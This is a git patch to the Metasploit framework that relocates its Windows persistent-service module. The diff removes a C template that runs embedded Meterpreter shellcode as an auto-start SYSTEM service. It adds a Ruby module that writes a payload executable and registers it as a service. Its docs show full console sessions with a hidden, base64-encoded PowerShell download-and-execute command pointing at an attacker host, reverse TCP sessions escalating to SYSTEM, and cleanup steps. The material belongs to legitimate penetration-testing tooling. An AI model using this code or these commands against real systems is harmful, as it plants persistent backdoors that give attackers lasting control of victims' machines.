From 0081314217c220bb05c9c756e63558063b817142 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 22 Oct 2025 16:19:37 -0400 Subject: [PATCH 1/7] windows service now with persistence mixin --- data/exploits/persistence_service/service.erb | 304 ------------------ .../windows/local/persistence_service.md | 110 ------- .../exploit/windows/persistence/service.md | 163 ++++++++++ .../windows/local/persistence_service.rb | 202 ------------ .../exploits/windows/persistence/service.rb | 147 +++++++++ 5 files changed, 310 insertions(+), 616 deletions(-) delete mode 100644 data/exploits/persistence_service/service.erb delete mode 100644 documentation/modules/exploit/windows/local/persistence_service.md create mode 100644 documentation/modules/exploit/windows/persistence/service.md delete mode 100644 modules/exploits/windows/local/persistence_service.rb create mode 100644 modules/exploits/windows/persistence/service.rb diff --git a/data/exploits/persistence_service/service.erb b/data/exploits/persistence_service/service.erb deleted file mode 100644 index 22e406d22a08e..0000000000000 --- a/data/exploits/persistence_service/service.erb +++ /dev/null @@ -1,304 +0,0 @@ -#include -#include -#include -#include - -#define SERVICE_NAME <%= @service_name.inspect %> -#define DISPLAY_NAME <%= @service_description.inspect %> -#define RETRY_TIME <%= @retry_time %> - -// -// Globals -// - -SERVICE_STATUS status; -SERVICE_STATUS_HANDLE hStatus; - -// -// Meterpreter connect back to host -// - -void start_meterpreter() -{ -// Your meterpreter shell here - <%= buf %> - - LPVOID buffer = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); - memcpy(buffer,buf,sizeof(buf)); - HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)(buffer),NULL,0,NULL); - WaitForSingleObject(hThread, -1); //INFINITE - CloseHandle(hThread); -} - -// -// Call self without parameter to start meterpreter -// - -void self_call() -{ - char path[MAX_PATH]; - char cmd[MAX_PATH]; - - if (GetModuleFileName(NULL, path, sizeof(path)) == 0) { - // Get module file name failed - return; - } - - STARTUPINFO startup_info; - PROCESS_INFORMATION process_information; - - ZeroMemory(&startup_info, sizeof(startup_info)); - startup_info.cb = sizeof(startup_info); - - ZeroMemory(&process_information, sizeof(process_information)); - - // If create process failed. - // CREATE_NO_WINDOW = 0x08000000 - if (CreateProcess(path, path, NULL, NULL, TRUE, 0x08000000, NULL, - NULL, &startup_info, &process_information) == 0) - { - return; - } - - // Wait until the process died. - WaitForSingleObject(process_information.hProcess, -1); -} - -// -// Process control requests from the Service Control Manager -// - -VOID WINAPI ServiceCtrlHandler(DWORD fdwControl) -{ - switch (fdwControl) { - case SERVICE_CONTROL_STOP: - case SERVICE_CONTROL_SHUTDOWN: - status.dwWin32ExitCode = 0; - status.dwCurrentState = SERVICE_STOPPED; - break; - - case SERVICE_CONTROL_PAUSE: - status.dwWin32ExitCode = 0; - status.dwCurrentState = SERVICE_PAUSED; - break; - - case SERVICE_CONTROL_CONTINUE: - status.dwWin32ExitCode = 0; - status.dwCurrentState = SERVICE_RUNNING; - break; - - default: - break; - } - - if (SetServiceStatus(hStatus, &status) == 0) { - //printf("Cannot set service status (0x%08x)", GetLastError()); - exit(1); - } - - return; -} - - -// -// Main function of service -// - -VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv) -{ - // Register the service handler - - hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler); - - if (hStatus == 0) { - //printf("Cannot register service handler (0x%08x)", GetLastError()); - exit(1); - } - - // Initialize the service status structure - - status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS; - status.dwCurrentState = SERVICE_RUNNING; - status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; - status.dwWin32ExitCode = 0; - status.dwServiceSpecificExitCode = 0; - status.dwCheckPoint = 0; - status.dwWaitHint = 0; - - if (SetServiceStatus(hStatus, &status) == 0) { - //printf("Cannot set service status (0x%08x)", GetLastError()); - return; - } - - // Start the Meterpreter - while (status.dwCurrentState == SERVICE_RUNNING) { - self_call(); - Sleep(RETRY_TIME); - } - - return; -} - - -// -// Installs and starts the Meterpreter service -// - -BOOL install_service() -{ - SC_HANDLE hSCManager; - SC_HANDLE hService; - - char path[MAX_PATH]; - - // Get the current module name - - if (!GetModuleFileName(NULL, path, MAX_PATH)) { - //printf("Cannot get module name (0x%08x)", GetLastError()); - return FALSE; - } - - // Build the service command line - - - char cmd[MAX_PATH]; - - int total_len = strlen(path) + <%= 3 + @start_cmd.length %>; - if (total_len < 0 || total_len >= sizeof(cmd)){ - //printf("Cannot build service command line (0x%08x)", -1); - return FALSE; - } - - cmd[0] = '\0'; - strcat(cmd, "\""); - strcat(cmd, path); - strcat(cmd, "\" <%= @start_cmd %>"); - - // Open the service manager - - hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); - - if (hSCManager == NULL) { - //printf("Cannot open service manager (0x%08x)", GetLastError()); - return FALSE; - } - - // Create the service - - hService = CreateService( - hSCManager, - SERVICE_NAME, - DISPLAY_NAME, - 0xf01ff, // SERVICE_ALL_ACCESS - SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS, - SERVICE_AUTO_START, - SERVICE_ERROR_NORMAL, - cmd, - NULL, - NULL, - NULL, - NULL, /* LocalSystem account */ - NULL - ); - - if (hService == NULL) { - //printf("Cannot create service (0x%08x)", GetLastError()); - - CloseServiceHandle(hSCManager); - return FALSE; - } - - // Start the service - - char* args[] = { path, "service" }; - - if (StartService(hService, 2, (const char**)&args) == 0) { - DWORD err = GetLastError(); - - if (err != 0x420) //ERROR_SERVICE_ALREADY_RUNNING - { - //printf("Cannot start service %s (0x%08x)", SERVICE_NAME, err); - - CloseServiceHandle(hService); - CloseServiceHandle(hSCManager); - return FALSE; - } - } - - // Cleanup - - CloseServiceHandle(hService); - CloseServiceHandle(hSCManager); - - //printf("Service %s successfully installed.", SERVICE_NAME); - - return TRUE; -} - -// -// Start the service -// - -void start_service() -{ - SERVICE_TABLE_ENTRY ServiceTable[] = - { - { SERVICE_NAME, &ServiceMain }, - { NULL, NULL } - }; - - if (StartServiceCtrlDispatcher(ServiceTable) == 0) { - //printf("Cannot start the service control dispatcher (0x%08x)",GetLastError()); - exit(1); - } -} - - -// -// Main function -// - -int main() -{ - // Parse the command line argument. - // For now, int main(int argc, char *argv) is buggy with metasm. - // So we choose this approach to achieve it. - LPTSTR cmdline; - cmdline = GetCommandLine(); - - char *argv[MAX_PATH]; - char * ch = strtok(cmdline," "); - int argc = 0; - - while (ch != NULL) - { - argv[argc] = malloc( strlen(ch)+1) ; - strncpy(argv[argc], ch, strlen(ch)+1); - - ch = strtok (NULL, " "); - argc++; - } - - if (argc > 1) { - - if (strcmp(argv[argc-1], <%= @install_cmd.inspect %>) == 0) { - - // Installs and starts the service - - install_service(); - return 0; - } - else if (strcmp(argv[argc-1], <%= @start_cmd.inspect %>) == 0) { - // Starts the Meterpreter as a service - - start_service(); - return 0; - } - } - - // Starts the Meterpreter as a normal application - - start_meterpreter(); - - return 0; -} diff --git a/documentation/modules/exploit/windows/local/persistence_service.md b/documentation/modules/exploit/windows/local/persistence_service.md deleted file mode 100644 index 03132b662a9f2..0000000000000 --- a/documentation/modules/exploit/windows/local/persistence_service.md +++ /dev/null @@ -1,110 +0,0 @@ -## Description - -This Module will generate and upload an executable to a remote host, next will make it a persistent service. -It will create a new service which will start the payload whenever the service is running. Admin or system privilege is required. - -## Options - - **REMOTE_EXE_NAME** - - The remote victim name. Random string as default. - - **REMOTE_EXE_PATH** - -The remote victim exe path to run. Use temp directory as default. - - **RETRY_TIME** - -The retry time that shell connect failed. 5 seconds as default. - - **SERVICE_DESCRIPTION** - -The description of service. Random string as default. - - **SERVICE_NAME** - -The name of service. Random string as default. - -## Verification Steps - -1. get session on target -2. `use exploit/windows/local/persistence_service` -3. `set payload ` -4. `set lport ` -5. `set lhost ` -6. `exploit` - -## Scenarios - -### Windows 7 SP1 x64 - -``` -msf exploit(windows/local/persistence_service) > sessions -i 1 -[*] Starting interaction with 1... - -meterpreter > getuid -Server username: test-PC\test -meterpreter > sysinfo -Computer : TEST-PC -OS : Windows 7 (Build 7601, Service Pack 1). -Architecture : x64 -System Language : en_US -Domain : WORKGROUP -Logged On Users : 2 -Meterpreter : x86/windows -meterpreter > background -[*] Backgrounding session 1... -msf exploit(windows/local/persistence_service) > use exploit/windows/local/persistence_service -msf exploit(windows/local/persistence_service) > set payload windows/meterpreter/reverse_tcp -payload => windows/meterpreter/reverse_tcp -msf exploit(windows/local/persistence_service) > set lport 2333 -lport => 2333 -msf exploit(windows/local/persistence_service) > set lhost 192.168.56.1 -lhost => 192.168.56.1 -msf exploit(windows/local/persistence_service) > set session 1 -session => 1 -msf exploit(windows/local/persistence_service) > exploit - -[*] Started reverse TCP handler on 192.168.56.1:2333 -[*] Running module against TEST-PC - -[+] Meterpreter service exe written to C:\Users\test\AppData\Local\Temp\NVNvCyn.exe -[*] Creating service NePaGwA -[*] Cleanup Meterpreter RC File: /Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc -[*] Sending stage (179779 bytes) to 192.168.56.101 -[*] Meterpreter session 4 opened (192.168.56.1:2333 -> 192.168.56.101:52781) at 2018-10-22 17:56:21 +0800 - -meterpreter > getuid -Server username: NT AUTHORITY\SYSTEM -meterpreter > sysinfo -Computer : TEST-PC -OS : Windows 7 (Build 7601, Service Pack 1). -Architecture : x64 -System Language : en_US -Domain : WORKGROUP -Logged On Users : 2 -Meterpreter : x86/windows -meterpreter > background -[*] Backgrounding session 4... -``` - -**Clean it** - -``` -msf exploit(windows/local/persistence_service) > sessions -i 1 -[*] Starting interaction with 1... - -meterpreter > resource /Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc -[*] Processing /Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc for ERB directives. -resource (/Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc)> execute -H -f sc.exe -a "stop NePaGwA" -Process 6516 created. -resource (/Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc)> execute -H -f sc.exe -a "delete NePaGwA" -Process 6624 created. -resource (/Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc)> execute -H -i -f taskkill.exe -a "/f /im NVNvCyn.exe" -Process 5636 created. -Channel 23 created. -SUCCESS: The process "NVNvCyn.exe" with PID 5180 has been terminated. -SUCCESS: The process "NVNvCyn.exe" with PID 4828 has been terminated. -SUCCESS: The process "NVNvCyn.exe" with PID 5728 has been terminated. -resource (/Users/green/.msf4/logs/persistence/TEST-PC_20181022.5605/TEST-PC_20181022.5605.rc)> rm C:\\Users\\test\\AppData\\Local\\Temp\\NVNvCyn.exe -meterpreter > diff --git a/documentation/modules/exploit/windows/persistence/service.md b/documentation/modules/exploit/windows/persistence/service.md new file mode 100644 index 0000000000000..952c95edc5f28 --- /dev/null +++ b/documentation/modules/exploit/windows/persistence/service.md @@ -0,0 +1,163 @@ +## Description + +This Module will generate and upload an executable to a remote host, next will make it a persistent service. +It will create a new service which will start the payload whenever the service is running. Admin or system privilege is required. + +## Options + + **REMOTE_EXE_NAME** + + The remote victim name. Random string as default. + + **REMOTE_EXE_PATH** + +The remote victim exe path to run. Use temp directory as default. + + **RETRY_TIME** + +The retry time that shell connect failed. 5 seconds as default. + + **SERVICE_DESCRIPTION** + +The description of service. Random string as default. + + **SERVICE_NAME** + +The name of service. Random string as default. + +## Verification Steps + +1. get session on target +2. `use exploit/windows/local/persistence_service` +3. `set payload ` +4. `set lport ` +5. `set lhost ` +6. `exploit` + +## Scenarios + +### Windows 10 22H2+ (10.0 Build 19045) + +Initial shell + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set target 2 +target => 2 +resource (/root/.msf4/msfconsole.rc)> set srvport 8085 +srvport => 8085 +resource (/root/.msf4/msfconsole.rc)> set uripath w2 +uripath => w2 +resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4449 +lport => 4449 +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 1.1.1.1:4449 +[*] Using URL: http://1.1.1.1:8085/w2 +[*] Server started. +[*] Run the following command on the target machine: +powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABlAEkAVgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABlAEkAVgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGUASQBWAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIALwBaAE0AOQB5AE0AUQA5ACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAuADIAMgA4ADoAOAAwADgANQAvAHcAMgAnACkAKQA7AA== +msf exploit(multi/script/web_delivery) > +[*] 2.2.2.2 web_delivery - Powershell command length: 3694 +[*] 2.2.2.2 web_delivery - Delivering Payload (3694 bytes) +[*] Sending stage (230982 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4449 -> 2.2.2.2:49879) at 2025-10-21 17:17:25 -0400 + +msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: WIN10PROLICENSE\windows +meterpreter > sysinfo +Computer : WIN10PROLICENSE +OS : Windows 10 22H2+ (10.0 Build 19045). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/service +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(windows/persistence/service) > set session 1 +session => 1 +msf exploit(windows/persistence/service) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(windows/persistence/service) > check +[*] The target appears to be vulnerable. Likely exploitable +msf exploit(windows/persistence/service) > exploit +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +msf exploit(windows/persistence/service) > +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Likely exploitable +[*] Compiling payload +[+] Payload written to C:\Users\windows\AppData\Local\Temp\wbiSigF.exe +[*] Creating service nCRFXqySYQhQ +[*] +Status Name DisplayName +------ ---- ----------- +Stopped nCRFXqySYQhQ KZwKk + + +[*] Starting service nCRFXqySYQhQ +[*] +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251021.1801/WIN10PROLICENSE_20251021.1801.rc +[*] Sending stage (188998 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49880) at 2025-10-21 17:18:05 -0400 +``` + +Manually starting the service again + +``` +msf exploit(windows/persistence/service) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > execute -H -f sc.exe -a "start nCRFXqySYQhQ" +Process 3548 created. +meterpreter > +[*] Sending stage (188998 bytes) to 2.2.2.2 +[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:49881) at 2025-10-21 17:18:40 -0400 + +meterpreter > background +[*] Backgrounding session 1... +smsf exploit(windows/persistence/service) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 meterpreter x64/windows WIN10PROLICENSE\windows @ WIN10PROLICENSE 1.1.1.1:4449 -> 2.2.2.2:49879 (2.2.2.2) + 2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN10PROLICENSE 1.1.1.1:4444 -> 2.2.2.2:49880 (2.2.2.2) + 3 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN10PROLICENSE 1.1.1.1:4444 -> 2.2.2.2:49881 (2.2.2.2) + +msf exploit(windows/persistence/service) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > run /root/.msf4/logs/persistence/WIN10PROLICENSE_20251021.1801/WIN10PROLICENSE_20251021.1801.rc +[*] Processing /root/.msf4/logs/persistence/WIN10PROLICENSE_20251021.1801/WIN10PROLICENSE_20251021.1801.rc for ERB directives. +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251021.1801/WIN10PROLICENSE_20251021.1801.rc)> rm "C:\\Users\\windows\\AppData\\Local\\Temp\\wbiSigF.exe" +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251021.1801/WIN10PROLICENSE_20251021.1801.rc)> execute -H -f sc.exe -a "stop nCRFXqySYQhQ" +Process 7052 created. +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251021.1801/WIN10PROLICENSE_20251021.1801.rc)> execute -H -f sc.exe -a "delete nCRFXqySYQhQ" +Process 10524 created. +``` diff --git a/modules/exploits/windows/local/persistence_service.rb b/modules/exploits/windows/local/persistence_service.rb deleted file mode 100644 index 74bd71fbf32db..0000000000000 --- a/modules/exploits/windows/local/persistence_service.rb +++ /dev/null @@ -1,202 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## -require 'metasploit/framework/compiler/windows' - -class MetasploitModule < Msf::Exploit::Local - Rank = ExcellentRanking - - include Msf::Post::Common - include Msf::Post::File - include Msf::Post::Windows::Priv - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Windows Persistent Service Installer', - 'Description' => %q{ - This Module will generate and upload an executable to a remote host, next will make it a persistent service. - It will create a new service which will start the payload whenever the service is running. Admin or system - privilege is required. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Green-m ' ], - 'Platform' => [ 'windows' ], - 'Targets' => [['Windows', {}]], - 'SessionTypes' => [ 'meterpreter' ], - 'DefaultTarget' => 0, - 'References' => [ - [ 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/external/source/metsvc/src/metsvc.cpp' ] - ], - 'DisclosureDate' => '2018-10-20', - 'Compat' => { - 'Meterpreter' => { - 'Commands' => %w[ - core_channel_eof - core_channel_open - core_channel_read - core_channel_write - stdapi_sys_config_getenv - stdapi_sys_config_sysinfo - stdapi_sys_process_execute - ] - } - }, - 'Notes' => { - 'Reliability' => UNKNOWN_RELIABILITY, - 'Stability' => UNKNOWN_STABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS - } - ) - ) - - register_options( - [ - OptInt.new('RETRY_TIME', [false, 'The retry time that shell connect failed. 5 seconds as default.', 5 ]), - OptString.new('REMOTE_EXE_PATH', [false, 'The remote victim exe path to run. Use temp directory as default. ']), - OptString.new('REMOTE_EXE_NAME', [false, 'The remote victim name. Random string as default.']), - OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]), - OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]) - ] - ) - end - - # Run Method for when run command is issued - #------------------------------------------------------------------------------- - def exploit - unless is_system? || is_admin? - print_error("Insufficient privileges to create service") - return - end - - unless datastore['PAYLOAD'] =~ %r#^windows/(shell|meterpreter)/reverse# - print_error("Only support for windows meterpreter/shell reverse staged payload") - return - end - - print_status("Running module against #{sysinfo['Computer']}") - - # Set variables - rexepath = datastore['REMOTE_EXE_PATH'] - @retry_time = datastore['RETRY_TIME'] - rexename = datastore['REMOTE_EXE_NAME'] || Rex::Text.rand_text_alpha(4..8) - @service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(4..8) - @service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..16) - - # Add the windows pe suffix to rexename - unless rexename.end_with?('.exe') - rexename << ".exe" - end - - host, _port = session.tunnel_peer.split(':') - @clean_up_rc = "" - - buf = create_payload - vprint_status(buf) - metsvc_code = metsvc_template(buf) - bin = Metasploit::Framework::Compiler::Windows.compile_c(metsvc_code) - - victim_path = write_exe_to_target(bin, rexename, rexepath) - install_service(victim_path) - - clean_rc = log_file - file_local_write(clean_rc, @clean_up_rc) - print_status("Cleanup Meterpreter RC File: #{clean_rc}") - - report_note(host: host, - type: "host.persistance.cleanup", - data: { - local_id: session.sid, - stype: session.type, - desc: session.info, - platform: session.platform, - via_payload: session.via_payload, - via_exploit: session.via_exploit, - created_at: Time.now.utc, - commands: @clean_up_rc - }) - end - - def create_payload - p = payload.encoded - Msf::Simple::Buffer.transform(p, 'c', 'buf') - end - - # Function for writing executable to target host - # Code from post/windows/manage/persistence_exe - # - def write_exe_to_target(rexe, rexename, rexepath) - # check if we have write permission - if rexepath - begin - temprexe = rexepath + "\\" + rexename - write_file_to_target(temprexe, rexe) - rescue Rex::Post::Meterpreter::RequestError - print_warning("Insufficient privileges to write in #{rexepath}, writing to %TEMP%") - temprexe = session.sys.config.getenv('TEMP') + "\\" + rexename - write_file_to_target(temprexe, rexe) - end - - # Write to %temp% directory if not set REMOTE_EXE_PATH - else - temprexe = session.sys.config.getenv('TEMP') + "\\" + rexename - write_file_to_target(temprexe, rexe) - end - - print_good("Meterpreter service exe written to #{temprexe}") - - @clean_up_rc << "execute -H -i -f taskkill.exe -a \"/f /im #{rexename}\"\n" # Use interact to wait until the task ended. - @clean_up_rc << "rm \"#{temprexe.gsub("\\", "\\\\\\\\")}\"\n" - - temprexe - end - - def write_file_to_target(temprexe, rexe) - fd = session.fs.file.new(temprexe, "wb") - fd.write(rexe) - fd.close - end - - # Function for creating log folder and returning log path - #------------------------------------------------------------------------------- - def log_file - # Get hostname - host = session.sys.config.sysinfo["Computer"] - - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - - # Create a directory for the logs - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) - - # Create the log directory - ::FileUtils.mkdir_p(logs) - - logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" - end - - # Function to install payload as a service - #------------------------------------------------------------------------------- - def install_service(path) - print_status("Creating service #{@service_name}") - - begin - session.sys.process.execute("cmd.exe /c \"#{path}\" #{@install_cmd}", nil, { 'Hidden' => true }) - rescue ::Exception => e - print_error("Failed to install the service.") - print_error(e.to_s) - end - - @clean_up_rc = "execute -H -f sc.exe -a \"delete #{@service_name}\"\n" + @clean_up_rc - @clean_up_rc = "execute -H -f sc.exe -a \"stop #{@service_name}\"\n" + @clean_up_rc - end - - def metsvc_template(buf) - @install_cmd = Rex::Text.rand_text_alpha(4..8) - @start_cmd = Rex::Text.rand_text_alpha(4..8) - template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'persistence_service', 'service.erb')) - ERB.new(template).result(binding) - end -end diff --git a/modules/exploits/windows/persistence/service.rb b/modules/exploits/windows/persistence/service.rb new file mode 100644 index 0000000000000..ecbf119fa1b6b --- /dev/null +++ b/modules/exploits/windows/persistence/service.rb @@ -0,0 +1,147 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + # include Post::Windows::Services + include Msf::Post::File + include Msf::Post::Windows::Priv + include Post::Windows::Powershell + include Msf::Exploit::EXE + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/windows/local/persistence_service' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Persistent Service Installer', + 'Description' => %q{ + This Module will generate and upload an executable to a remote host. + It will create a new service which will start the payload whenever the service is running. Admin or system + privilege is required. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Green-m ', # original module + 'h00die' # persistence updates + ], + 'Platform' => [ 'windows' ], + 'Targets' => [['Windows', {}]], + 'SessionTypes' => [ 'meterpreter' ], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'References' => [ + ['URL', 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-7.5'], + ['ATT&CK', Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE], + ['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION] + ], + 'DisclosureDate' => '2018-10-20', + 'DefaultOptions' => { + 'EXITFUNC' => 'process' # process keeps powershell from returning errors on service start + }, + 'Notes' => { + 'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION], + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']), + OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]), + OptString.new('SERVICE_DISPLAY_NAME', [false, 'The display name of service. Random string as default.']), + OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]), + ] + ) + + register_advanced_options( + [ + OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Powershell', ['Powershell', 'sc.exe']]), + ] + ) + end + + def writable_dir + d = super + return session.sys.config.getenv(d) if d.start_with?('%') + + d + end + + def check + print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value + return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) + + return CheckCode::Safe('You must be System/Admin to run this Module') unless is_system? || is_admin? + + CheckCode::Appears('Likely exploitable') + end + + def install_persistence + fail_with(Msf::Module::Failure::NoAccess, 'Insufficient privileges to create service') unless is_system? || is_admin? + + rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(4..8) + @service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(8..12) + @service_dname = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(4..8) + @service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..12) + + rexename << '.exe' unless rexename.end_with?('.exe') + + vprint_status('Compiling payload') + dest_pathname = writable_dir + '\\' + rexename + exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] }) + write_file(dest_pathname, exe) + print_good("Payload written to #{dest_pathname}") + + install_service(dest_pathname) + + @clean_up_rc << "rm \"#{dest_pathname.gsub('\\', '\\\\\\\\')}\"\n" + @clean_up_rc << "execute -H -f sc.exe -a \"stop #{@service_name}\"\n" + @clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n" + end + + def install_service(path) + print_status("Creating service #{@service_name}") + if have_powershell? && datastore['METHOD'] == 'Powershell' + service_builder = "New-Service -Name '#{@service_name}' " + service_builder << "-DisplayName '#{@service_dname}' " + service_builder << "-Description '#{@service_description}' " + service_builder << "-BinaryPathName '#{path}' " + service_builder << '-StartupType Automatic' + vprint_status(cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")) + else + # build sc command(s) and execute them + sc_cmd = "sc.exe create #{@service_name} " + sc_cmd << "binPath= \"#{path}\" " + sc_cmd << 'start= auto ' + sc_cmd << "DisplayName= \"#{@service_dname}\"; " + sc_cmd << "sc.exe description #{@service_name} \"#{@service_description}\"" + + vprint_status(cmd_exec(sc_cmd)) + end + # in theory this should be equivalent, but with a meterpreter x64/windows + # payload with admin privs it kept giving me a status of 6 and saying the service wasn't created + # 